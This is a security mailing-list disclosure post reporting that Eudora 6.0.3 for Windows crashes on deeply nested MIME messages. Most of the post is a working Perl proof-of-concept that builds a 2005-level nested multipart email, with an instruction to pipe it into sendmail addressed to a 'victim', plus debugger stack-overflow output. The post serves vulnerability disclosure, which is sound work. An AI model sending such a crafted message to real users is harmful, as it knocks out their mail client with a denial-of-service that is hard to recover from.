[Full-Disclosure] Eudora 6.0.3 nested MIME DoS

[psz@xxxxxxxxxxxxxxxxx (Paul Szabo)]

Eudora 6.0.3 for Windows will crash if sent a MIME message nested more than
2000 levels deep. Due to the presence of the [EudoraDir]\spool\*.RCV file,
users may find it difficult to recover from this DoS situation. Demo below.

Cheers,

Paul Szabo - psz@xxxxxxxxxxxxxxxxx  http://www.maths.usyd.edu.au:8000/u/psz/
School of Mathematics and Statistics  University of Sydney   2006  Australia


#!/usr/bin/perl --

print "From: me\n";
print "To: you\n";
print "Subject: nested multipart test\n";
print "Mime-Version: 1.0\n";
print "X-Use: Pipe the output of this script into:  sendmail -i victim\n";

&nest(0);
print "\n";

sub nest {
  my ($x) = @_;
  my $b = sprintf("bndry%04d",$x);
  print "Content-Type: multipart/mixed; boundary=\"$b\"\n\n";
  print "--$b\n";
  print "Content-Type: text/plain\n\n";
  print "Level $x\n\n";

# No problem for 1995, but crash for 2005 deep nesting:
# 
# (378.1c4): Stack overflow - code c00000fd (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000409 ebx=00000001 ecx=00000000 edx=00000001 esi=000338a8 edi=62000000
# eip=77f862ed esp=00032f10 ebp=000337b0 iopl=0         nv up ei pl nz na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010202
# ntdll!LdrLoadAlternateResourceModule+9:
# 77f862ed 53               push    ebx

  if ($x < 2005) {
    print "--$b\n";
    &nest($x+1);
  }
  print "--$b\n";
  print "Content-Type: text/plain\n\n";
  print "Final $x\n";
  print "--$b--\n\n";
}

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